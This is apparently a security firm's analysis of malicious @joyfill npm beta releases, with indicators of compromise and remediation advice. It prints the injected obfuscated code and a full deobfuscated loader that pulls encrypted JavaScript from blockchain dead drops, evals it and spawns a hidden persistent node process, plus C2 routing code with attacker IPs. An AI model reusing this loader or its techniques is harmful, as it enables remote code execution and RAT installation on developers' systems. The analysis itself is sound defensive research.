Joyfill npm Packages Compromised with Blockchain C2 Loader
Table of Contents
Two beta versions published to the @joyfill npm scope on July 28, 2026 carried the same blockchain C2 loader documented in the astro.config.mjs attack. The compromised packages are @joyfill/[email protected] and @joyfill/[email protected]. The malicious versions were unpublished from npm within hours but remain cached on registry mirrors. Both the primary Tron dead drop address (TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP) and the BSC relay wallet (0x9bc1355344b54dedf3e44296916ed15653844509) are identical to the earlier campaign, confirming this is the same operator.
Attack structure
The attack targeted a legitimate package scope. Joyfill is a form-builder SDK with three npm maintainers and a release history going back to March 2023. The attacker published through the existing scope rather than typosquatting a new one, using the beta dist-tag to avoid overwriting the latest version. The 2773 version segment mimics a CI build number, consistent with the project’s existing naming convention (prior builds used 1771, 1991, 2273).
The compromise is a two-package chain. @joyfill/[email protected] declares a dependency on @joyfill/[email protected]. The payload lives exclusively in the layouts package. Installing the malicious components version pulls in the malicious layouts version, and the payload executes at require() time as a side effect of the bundled module.
// @joyfill/[email protected] package.json (diff vs clean rc24) "@joyfill/layouts": "0.1.2-1771.beta.5", "@joyfill/layouts": "0.1.2-2773.beta.0",No install scripts. No preinstall or postinstall hooks. The malicious code is inside dist/index.cjs.js and dist/index.es.js, the production JavaScript bundles that execute when any consuming application imports the package.
Payload injection
The clean @joyfill/[email protected] ships a 37,318-line CJS bundle. The malicious 0.1.2-2773.beta.0 replaces it with a 1,271-line rebuild using vite-plugin-css-injected-by-js (new to this version). The attacker inserted 62 lines of obfuscated code between the last utility function (sortLayoutItemsByColRow) and the module’s FieldLayoutTypes constant:
// dist/index.cjs.js, injected after line 861 of the malicious bundle// (line 863 in the file, between sortLayoutItemsByColRow and FieldLayoutTypes)
global['!'] = '9-0135-3';var _$_1e42 = (function (l, e) { var h = l.length; var g = []; for (var j = 0; j < h; j++) { g[j] = l.charAt(j); } for (var j = 0; j < h; j++) { var s = e * (j + 489) + (e % 19597); var w = e * (j + 659) + (e % 48014); var t = s % h; var p = w % h; var y = g[t]; g[t] = g[p]; g[p] = y; e = (s + w) % 4573868; } // ... string split/join chain produces ["r", "object", "m"]})('rmcej%otb%', 2857687);global[_$_1e42[0]] = require; // global["r"] = requireThe injection sets global["!"] = "9-0135-3", the same campaign marker format documented in the astro.config.mjs analysis. It then exposes require and module onto the global object (necessary for the blockchain loader to use Node.js https and child_process modules from inside a bundled ES module context).
Deobfuscation
The obfuscation uses three layers of character-shuffling functions to hide a call to the Function constructor:
sfLshuffle: A character-swap permutation using a numeric seed (2667686). Applied to the string"wuqktamceigynzbosdctpusocrjhrflovnxrt", the first 11 characters decode to"constructor".sfL["constructor"]resolves toFunction(sincesfLis a function object, itsconstructorproperty isFunction).- Two large string literals are decoded through
sfL, then passed toFunction()to construct the loader.
The fully deobfuscated stage 1 loader is in the appendix below. It exposes require and module on the global object, sets campaign marker global["!"] = "9-0135-3", then runs a blockchain C2 fetch with XOR decryption and eval(). A fallback path spawns a detached node -e child process for persistence.
The blockchain dead drop (still live)
The C2 resolution chain is identical to the one we documented for PolinRider:
- Tron: Query
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAPviaapi.trongrid.io. Decode theraw_data.datahex field to UTF-8, reverse it. The result is a BSC transaction hash. - BSC: Query
bsc-dataseed.binance.org(orbsc-rpc.publicnode.comas fallback) witheth_getTransactionByHash. Strip the0xprefix fromtx.input, decode hex to UTF-8, split on?.?, take the second segment. - XOR decrypt with the hardcoded key and
eval().
At time of analysis, both Tron addresses are still returning transactions. The primary dead drop resolves to BSC transaction 0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d, sent from attacker wallet 0x9bc1355344b54dedf3e44296916ed15653844509 to the burn address 0x...dead. The input field carries 5,855 bytes of XOR-encrypted JavaScript.
The fallback C2 path adds persistence: if the primary eval() fails, the payload is launched as a detached node -e child process with windowsHide: true and stdio: "ignore", keeping it alive after the parent Node.js process exits.
Stage 2: C2 server selection and second blockchain fetch
Decrypting the primary BSC payload reveals a second loader wrapped in three more obfuscation layers (same NVu shuffle + Function constructor technique). After static deobfuscation, stage 2 performs two operations.
Campaign-aware C2 routing. Stage 2 reads the campaign marker (global._V, which is "A9-0135-3" for the joyfill payload) and selects an HTTP C2 server based on its prefix:
// Stage 2 C2 routing (deobfuscated from _$_9f51 string table)_V = global['_V'] || 0;
if (_V[0] === 'A' || _V === '0') { global['_t_s'] = 'http://166.88.134.62:443'; global['_t_u'] = 'http://166.88.134.62';} else if (!isNaN(parseInt(_V))) { global['_t_s'] = 'http://198.105.127.210:443'; global['_t_u'] = 'http://198.105.127.210';} else { global['_t_s'] = 'http://23.27.202.27:443'; global['_t_u'] = 'http://23.27.202.27:27017';}
// Set up a SECOND Tron dead drop address for the next fetchglobal['_t_1'] = 'TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v';global['_t_2'] = '0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1';Since the joyfill campaign marker starts with "A", the selected C2 server is 166.88.134[.]62. These are the same three servers documented in the astro.config.mjs investigation.
Second blockchain fetch. Stage 2 then runs the same Tron-to-BSC resolver again, this time with Tron address TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v and Aptos hash 0x533b2db... (stored in global._t_1 and global._t_2 by the routing logic above). The result is XOR-decrypted with the same key (2[gWfGj;<:-93Z^C) and eval()’d as stage 3.
// Stage 2 inner function (deobfuscated from _$_56c8 string table)// Identical blockchain resolver pattern, different Tron addressvar n = await t( '2[gWfGj;<:-93Z^C', // Same XOR key as stage 1 global['_t_1'], // TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v global['_t_2'] // 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1);eval(n); // Execute stage 3Stage 2 also saves __dirname and __filename into global.___dirname and global.___filename, preserving the execution context for later stages. A base64-encoded block sets a debounce guard (global._t_t) and stores the function’s own source code in global._t_c, likely for self-replication by stage 3.
The full chain is therefore: npm bundle → Tron A → BSC → stage 2 → Tron B → BSC → stage 3 (bot client). Two separate Tron addresses, two separate BSC fetches, each with independent Aptos fallbacks.
Decrypting stage 3 produces a 77KB LZ-compressed RAT client matching the PolinRider bot client structure. The fingerprints are identical: XB3pRQO/IvUhGI environment probes, veN854 reconnect function, lpVxjTQ command listener, and iwd7Ox self-restart loop, all documented in the astro.config.mjs post. The joyfill variant delivers this bot entirely through the blockchain dead drop, skipping the HTTP /$/boot beacon the astro attack used for the same payload.
What changed from the astro.config attack
The blockchain C2 infrastructure is identical: same Tron address, same BSC relay wallet, same Aptos fallback, same ?.? delimiter, same XOR decryption pattern. The differences are in the delivery mechanism.
| Aspect | astro.config.mjs attack | @joyfill attack |
|---|---|---|
| Vector | Malicious pull request against GitHub repo | Compromised npm package beta channel |
| Trigger | Build-time (astro build/dev/preview) | Import-time (require()/import) |
| Visibility | Hidden after horizontal whitespace in PR diff | Injected into production JS bundle, no PR review |
| HTTP C2 beacon | Stage B beacons C2 immediately | C2 IPs set in stage 2, used in stage 3 |
| Campaign marker | global["!"] set at payload init | global["!"] = "9-0135-3" |
| XOR keys | ThZG+0jfXE6VAGOJ (HTTP C2 path) | 2[gWfGj;<:-93Z^C / m6:tTh^D)cBz?NM] |
The @joyfill attack defers the HTTP C2 beacon to stage 2, routing through two rounds of blockchain fetches before the C2 server URLs are even set. Initial network connections from the npm bundle go exclusively to legitimate public blockchain API endpoints (api.trongrid.io, bsc-dataseed.binance.org, fullnode.mainnet.aptoslabs.com). That makes early-stage detection through network monitoring harder.
Timeline
| Time (UTC) | Event |
|---|---|
| 2026-07-28 10:54 | @joyfill/[email protected] published |
| 2026-07-28 11:03 | @joyfill/[email protected] published |
| 2026-07-28 13:57 | @joyfill/[email protected] published (clean) |
| 2026-07-28 14:01 | @joyfill/[email protected] published (clean) |
| 2026-07-28 ~21:00 | Malicious versions unpublished from npm |
The malicious versions were live for roughly 10 hours. Clean versions were pushed within 3 hours, suggesting the maintainers detected the compromise and responded. The malicious versions remain cached on third-party mirrors like registry.npmmirror.com.
Indicators of compromise
| Indicator | Type | Stage | Context | |
|---|---|---|---|---|
| 1 | @joyfill/[email protected] | npm package | 1 | Malicious package containing blockchain C2 loader |
| 2 | @joyfill/[email protected] | npm package | 1 | Chains to malicious layouts via dependency |
| 3 | adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6 | SHA-256 | 1 | layouts tarball hash |
| 4 | bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17 | SHA-256 | 1 | components tarball hash |
| 5 | TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP | Tron address | 1 | Primary dead drop (shared with astro.config.mjs campaign) |
| 6 | TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG | Tron address | 1 | Fallback dead drop |
| 7 | 0x9bc1355344b54dedf3e44296916ed15653844509 | BSC wallet | 1 | Attacker relay wallet (sends to 0x...dead) |
| 8 | 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e | Aptos tx hash | 1 | Primary Aptos fallback |
| 9 | 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 | Aptos tx hash | 1 | Fallback Aptos fallback |
| 10 | TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v | Tron address | 2 | Stage 2 dead drop (second blockchain fetch) |
| 11 | 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1 | Aptos tx hash | 2 | Stage 2 Aptos fallback |
| 12 | 166.88.134.62 | C2 IP | 2 | Campaign prefix "A" (joyfill) |
| 13 | 198.105.127.210 | C2 IP | 2 | Numeric campaign marker |
| 14 | 23.27.202.27:27017 | C2 IP | 2 | Default fallback |
| 15 | global[!] = 9-0135-3 | Campaign marker | 1 | Payload variant identifier |
| 16 | global[_V] = A9-0135-3 | Campaign ID | 1 | Passed to spawned child process |
If your lockfile pins either of the two malicious versions, rotate any secrets that were present in the environment where npm install or a build ran. The payload executes at import time, not install time, so the exposure window extends to any process that loaded the package.
Deobfuscated payload
Full static reconstruction of the blockchain C2 loader. Nothing below was executed. Variable names are restored from the _$_ccfc string table; the three obfuscation layers (_$_1e42 shuffle, sfL permutation, Function constructor packing) are unwound.
// FULLY DEOBFUSCATED @joyfill/[email protected] PAYLOAD
// For analysis only - NOT executable
// Static reconstruction from three obfuscation layers:
// 1. _$_1e42 string-shuffle (seed 2857687)
// 2. sfL character-swap permutation (seed 2667686)
// 3. Function constructor with nested string table (_$_ccfc)
// --- Stage 0: Global setup (injected between legitimate layout utility code) ---
global["!"] = "9-0135-3"; // Campaign marker
global["r"] = require; // Expose require globally
global["m"] = module; // Expose module globally
// --- Stage 1: Blockchain-based C2 loader ---
(async () => {
const i = global;
i["_V"] = "A" + global["!"]; // "A9-0135-3" - version/campaign ID
// HTTPS GET helper
async function c(url) {
return new Promise((resolve, reject) => {
require("https").get(url, (response) => {
let data = "";
response.on("data", (chunk) => { data += chunk });
response.on("end", () => {
try { resolve(JSON.parse(data)) }
catch (e) { reject(e) }
});
}).on("error", (e) => { reject(e) }).end();
});
}
// JSON-RPC POST helper (for BSC/Ethereum nodes)
async function s(method, params = [], hostname) {
return new Promise((resolve, reject) => {
const body = JSON.stringify({ jsonrpc: "2.0", method, params, id: 1 });
const opts = { hostname, method: "POST" };
const req = require("https").request(opts, (response) => {
let data = "";
response.on("data", (chunk) => { data += chunk });
response.on("end", () => {
try { resolve(JSON.parse(data)) }
catch (e) { reject(e) }
});
}).on("error", (e) => { reject(e) });
req.write(body);
req.end();
});
}
// Core C2 function: fetch XOR-encrypted payload from blockchain transactions
async function t(xorKey, tronAddress, aptosHash) {
let encodedPayload;
// Try Tron first
try {
encodedPayload = Buffer.from(
(await c("https://api.trongrid.io/v1/accounts/" + tronAddress +
"/transactions?only_confirmed=true&only_from=true&limit=1"))
.data[0].raw_data.data,
"hex"
).toString("utf8").split("").reverse().join("");
if (!encodedPayload) throw new Error();
} catch (e) {
// Fallback to Aptos
encodedPayload = (await c(
"https://fullnode.mainnet.aptoslabs.com/v1/accounts/" + aptosHash +
"/transactions?limit=1"
))[0].payload.arguments[0];
}
// Fetch BSC transaction using the hash from Tron/Aptos
let txInput;
async function fetchFromBSC(hostname) {
return Buffer.from(
(await s("eth_getTransactionByHash", [encodedPayload], hostname))
.result.input.substring(2),
"hex"
).toString("utf8").split("?.?")[1];
}
try {
txInput = await fetchFromBSC("bsc-dataseed.binance.org");
if (!txInput) throw new Error();
} catch (e) {
txInput = await fetchFromBSC("bsc-rpc.publicnode.com");
}
// XOR decrypt the payload using the provided key
return ((encrypted) => {
const keyLen = xorKey.length;
let decrypted = "";
for (let i = 0; i < encrypted.length; i++) {
const keyChar = xorKey.charCodeAt(i % keyLen);
decrypted += String.fromCharCode(encrypted.charCodeAt(i) ^ keyChar);
}
return decrypted;
})(txInput);
}
// --- Execution ---
// Debounce: skip if last run was < 30 seconds ago
const now = (new Date()).getTime();
try {
if (global["_p_t"] && now - global["_p_t"] < 30000) return;
} catch (e) {}
global["_p_t"] = now;
// Primary C2 channel
try {
const payload = await t(
"2[gWfGj;<:-93Z^C", // XOR key
"TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP", // Tron address
"0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e" // Aptos hash
);
eval(payload); // Execute stage 2
} catch (e) {}
// Fallback C2 channel + persistent execution via detached child process
try {
const payload = await t(
"m6:tTh^D)cBz?NM]", // XOR key
"TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG", // Tron address
"0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3" // Aptos hash
);
// Spawn detached node process for persistence
require("child_process").spawn("node", [
"-e",
"global['_V']='" + (global["_V"] || 0) + "';" + payload + ""
], {
detached: true,
stdio: "ignore",
windowsHide: true
}).on("error", (e) => {
eval(payload); // Fallback: eval directly if spawn fails
});
} catch (e) {}
})(); References
- astro.config.mjs Supply Chain Attack via Blockchain C2 (same campaign infrastructure)
- @joyfill/layouts on npm
- @joyfill/components on npm
- supply-chain
- malware
- npm
- blockchain
- joyfill
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
mrmustard PyPI Package Trojanized to Steal Credentials
Version 0.7.4 of Xanadu's mrmustard quantum computing library shipped to PyPI with no matching GitHub release. It carries a 258-line credential stealer that harvests SSH keys, AWS and Kubernetes...
AsyncAPI Packages Compromised with Miasma RAT
Four @asyncapi npm packages were published with obfuscated malware on July 14, 2026 via compromised CI workflows. The payload downloads Miasma RAT, a credential stealer targeting browsers, SSH keys,...
@copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown
The npm security team removed the original @apexfdn/apex package for malicious code, and the operator re-published the same postinstall macOS infostealer as @copilot-mcp/apex about 11 hours later. It...
Official jscrambler npm Package Compromised Across Multiple Releases
The official jscrambler npm package (60K monthly downloads) was trojanized starting at 8.14.0 through an npm account or CI compromise. The attacker republished the same Rust infostealer across five...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.